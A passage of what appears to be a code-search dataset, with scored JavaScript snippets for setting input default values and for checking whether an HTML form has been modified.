(\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "9070d97cd44e70500c51f8b42086a39e", "score": "0.6439389", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = '' + node._wrapperState.initialValue;\n } else if (node.defaultValue !== '' + value) {\n node.defaultValue = '' + value;\n }\n }\n}", "title": "" }, { "docid": "4ccaa8217ba3dfd464dc861f55866bb0", "score": "0.6435612", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "d20b2cedf81d7105d3a2d464092ea983", "score": "0.64345413", "text": "function setDefaultValue(node, type, value) {\n if (\n // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' ||\n getActiveElement(node.ownerDocument) !== node\n ) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n }", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "8bd52b8c487ecd1e49f1a3532daa67ed", "score": "0.6383016", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || getActiveElement(node.ownerDocument) !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" }, { "docid": "7b48639ab4fb5d7ed98ef22010cfa634", "score": "0.6363801", "text": "function setDefaultValue(node, type, value) {\n if ( // Focused number inputs synchronize on blur. See ChangeEventPlugin.js\n type !== 'number' || node.ownerDocument.activeElement !== node) {\n if (value == null) {\n node.defaultValue = toString(node._wrapperState.initialValue);\n } else if (node.defaultValue !== toString(value)) {\n node.defaultValue = toString(value);\n }\n }\n}", "title": "" } ]
4548c3368635d44bc1637ac823b2a996
Functions to test if a form has been modified ===================================================================
[ { "docid": "c8f6b20c467cc6cac87b0929074c2001", "score": "0.0", "text": "function LTrim(str){if(str==null){return null;}for(var i=0;str.charAt(i)==\" \";i++);return str.substring(i,str.length);}", "title": "" } ]
[ { "docid": "abc45cff15bf7c33b91e0625779c5e47", "score": "0.7827678", "text": "function is_form_modified(form_id)\r\n{\r\n\tvar df = document.forms[form_id];\r\n\tif (!df) {\r\n\t\treturn false;\r\n\t}\r\n\tif (df.getAttribute('modified') == \"true\") {\r\n\t\treturn true;\r\n\t}\r\n\tif (df.getAttribute('saved') != \"true\") {\r\n\t\treturn false;\r\n\t}\r\n\tfor (var i = 0, k = df.elements.length; i < k; i++) {\r\n\t\tvar obj = df.elements[i];\r\n\t\tif (obj.getAttribute('modified') == 'ignore') {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tvar name = obj.tagName.toLowerCase();\r\n\t\tif (name == 'input') {\r\n\t\t\tvar type = obj.type.toLowerCase();\r\n\t\t\tif (((type == 'text') || (type == 'textarea') || (type == 'password') || (type == 'hidden')) &&\r\n\t\t\t\t\t!are_values_equal(obj.getAttribute('default'), obj.value)) {\r\n\t\t\t\treturn true;\r\n\t\t\t} else if (((type == 'checkbox') || (type == 'radio')) && !are_values_equal(obj.getAttribute('default'), obj.checked)) {\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t} else if (name == 'select') {\r\n\t\t\tvar opt = obj.options;\r\n\t\t\tfor (var j = 0; j < opt.length; j++) {\r\n\t\t\t\tif (!are_values_equal(opt[j].getAttribute('default'), opt[j].selected)) {\r\n\t\t\t\t\treturn true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}", "title": "" }, { "docid": "1fc9da327c12274e7794bd8537234e91", "score": "0.77518934", "text": "function is_form_modified(form_id)\r\n{\r\n\treturn true; /* no check. force return true */\r\n\t\r\n\tvar df = document.forms[form_id];\r\n\tif (!df) {\r\n\t\treturn false;\r\n\t}\r\n\tif (df.getAttribute('modified') == \"true\") {\r\n\t\treturn true;\r\n\t}\r\n\tif (df.getAttribute('saved') != \"true\") {\r\n\t\treturn false;\r\n\t}\r\n\r\n\tfor (var i = 0, k = df.elements.length; i < k; i++) {\r\n\t\tvar obj = df.elements[i];\r\n\t\tif (obj.getAttribute('modified') == 'ignore') {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tvar name = obj.tagName.toLowerCase();\r\n\t\tif (name == 'input') {\r\n\t\t\tvar type = obj.type.toLowerCase();\r\n\t\t\tif (((type == 'text') || (type == 'textarea') || (type == 'password') || (type == 'hidden')) &&\r\n\t\t\t\t\t!are_values_equal(obj.getAttribute('default'), obj.value)) {\r\n\t\t\t\treturn true;\r\n\t\t\t} else if (((type == 'checkbox') || (type == 'radio')) && !are_values_equal(obj.getAttribute('default'), obj.checked)) {\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t} else if (name == 'select') {\r\n\t\t\tvar opt = obj.options;\r\n\t\t\tfor (var j = 0; j < opt.length; j++) {\r\n\t\t\t\tif (!are_values_equal(opt[j].getAttribute('default'), opt[j].selected)) {\r\n\t\t\t\t\treturn true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}", "title": "" }, { "docid": "e5626fadd426707ed42c0f06e9a5e08c", "score": "0.72830564", "text": "function is_form_modified(form)\r\n{\r\n\t/*\r\n\t * Mozilla always saves custom attributes as a string.\r\n\t * IE keeps the type of the value.\r\n\t */\r\n\tfunction are_values_equal(val1, val2)\r\n\t{\r\n\t\tif (typeof val1 !== \"string\") {\r\n\t\t\tval1 = val1.toString();\r\n\t\t}\r\n\t\tif (typeof val2 !== \"string\") {\r\n\t\t\tval2 = val2.toString();\r\n\t\t}\r\n\t\treturn val1.toLowerCase() === val2.toLowerCase();\r\n\t}\r\n\r\n\tif (typeof form == \"string\") {\r\n\t\tform = document.forms[form];\r\n\t}\r\n\tif (form.getAttribute('modified') == \"true\") {\r\n\t\treturn true;\r\n\t}\r\n\tif (form.getAttribute('saved') != \"true\") {\r\n\t\treturn false;\r\n\t}\r\n\r\n\tfor (var i = 0, flen = form.elements.length; i < flen; i++) {\r\n\t\tvar obj = form.elements[i];\r\n\t\tif (obj.getAttribute('modified') == 'ignore') {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tvar name = obj.tagName;\r\n\t\tif (name == 'INPUT') {\r\n\t\t\tvar type = obj.type;\r\n\t\t\tif (((type == 'text') || (type == 'textarea') || (type == 'password') || (type == 'hidden')) && !are_values_equal(obj.getAttribute('default'), obj.value)) {\r\n\t\t\t\treturn true;\r\n\t\t\t} \r\n\t\t\tif (((type == 'checkbox') || (type == 'radio')) && !are_values_equal(obj.getAttribute('default'), obj.checked)) {\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (name == 'SELECT') {\r\n\t\t\tvar opt = obj.options;\r\n\t\t\tfor (var j = 0, olen = opt.length; j < olen; j++) {\r\n\t\t\t\t/*\r\n\t\t\t\t * populate_selectors() after save_form_default_values() makes null 'default' attr. of the options\r\n\t\t\t\t * and we need check it if null otherwise javascript crash\r\n\t\t\t\t */\r\n\t\t\t\tif (opt[j].getAttribute('default') && !are_values_equal(opt[j].getAttribute('default'), opt[j].selected)) {\r\n\t\t\t\t\treturn true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}", "title": "" }, { "docid": "e484851bd90c5d855ccad52e81ea0fcf", "score": "0.67727923", "text": "function formFieldModified() {\n // In IE only, event is defined. We only want to respond to changed values. \n if (typeof event != \"undefined\") {\n //alert(\"event.propertyName= \" + event.propertyName);\n if (event.propertyName != \"value\" && event.propertyName != \"checked\")\n return;\n }\n markAssetModified();\n}", "title": "" }, { "docid": "b12444d5641007c8ae6c2100736b96db", "score": "0.67487514", "text": "function _q_hasChanged(){\n\tif( this._status == null ) return false;\n\tvar b = false;\n\t// loop through form elements\n\tfor( var j=0; j < this._fields.length; j++ ){\n\t\tif( this[this._fields[j]].getValue() != this[this._fields[j]].defaultValue ){\n\t\t\tb = true;\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn b;\n}", "title": "" }, { "docid": "7ebaaf73da0ff8f435e26bbb683f7b8c", "score": "0.656155", "text": "function dirtyHtmlForm(id)\r\n{\r\n var booDirtyForm = false;\r\n var frmApplicationPage = document.getElementById(id);\r\n var iNumElements = frmApplicationPage.elements.length;\r\n // Loop through the form elements\r\n for (x=0; x<iNumElements; x++)\r\n {\r\n if ( !frmApplicationPage.elements[x].disabled && checkWidget(frmApplicationPage.elements[x]))\r\n {\r\n booDirtyForm = true;\r\n }\r\n }\r\n\r\n return booDirtyForm;\r\n\r\n}", "title": "" }, { "docid": "03311663c0db6e7ff2922bab90bb5bb1", "score": "0.6502587", "text": "function isValueChanged() {\n\tvar isChanged = false;\n\tif($(\"#formId\").val() == 0) {\n\t\tisChanged = checkNewContactForm();\n\t} else {\n\t\tisChanged = checkEditContactForm();\n\t}\n\t$(\"#undo\").prop(\"disabled\",!isChanged);\n\t$(\"#modify\").prop(\"disabled\",!isChanged);\n}", "title": "" }, { "docid": "d374bba698eeaa7006db3fbae91260bf", "score": "0.6492959", "text": "function formUpdate() {\n\tvar elem_type = $j(editelem).attr(\"id\");\n\tif (elem_type == \"_form_formname\"){\n\t\tformNameUpdate();\n\t} else if (elem_type == \"_form_submit\"){\n\t\tif ( ! formDestinationUpdate() ) return false;\n\t} else if (elem_type == \"tool_submitter\"){\n\t\tif ( ! formSubmitterUpdate() ) return false;\n\t} else if (elem_type == \"tool_personselector\"){\n\t\tif ( ! formPersonSelectorUpdate() ) return false;\n\t} else if (elem_type == \"tool_textblock\"){\n\t\tformTextBlockUpdate();\n\t} else if (elem_type == \"tool_input\"){\n\t\tformInputUpdate();\n\t} else if (elem_type == \"tool_textarea\"){\n\t\tformTextAreaUpdate();\n\t} else if (elem_type == \"tool_radio\"){\n\t\tformRadioUpdate();\n\t} else if (elem_type == \"tool_checkbox\"){\n\t\tformCheckboxUpdate();\n\t} else if (elem_type == \"tool_singleselect\"){\n\t\tformSingleSelectUpdate();\n\t} else if (elem_type == \"tool_multiselect\"){\n\t\tformMultiSelectUpdate();\n\t} else if (elem_type == \"tool_date\"){\n\t\tformDateUpdate();\n \t} else if (elem_type == \"tool_attachment\") {\n \t\tformAttachmentUpdate();\n\t}\n\tchangesMade = true;\n\thideEditBox();\n\tcheck_form_formcontrols_showcode();\n}", "title": "" }, { "docid": "c953f942560bddf1024d8f34c51e6491", "score": "0.6436233", "text": "function canSubmitForm(){\n if (isEditForm) {\n const changeArr = Array.from(textFields).map(input => {\n 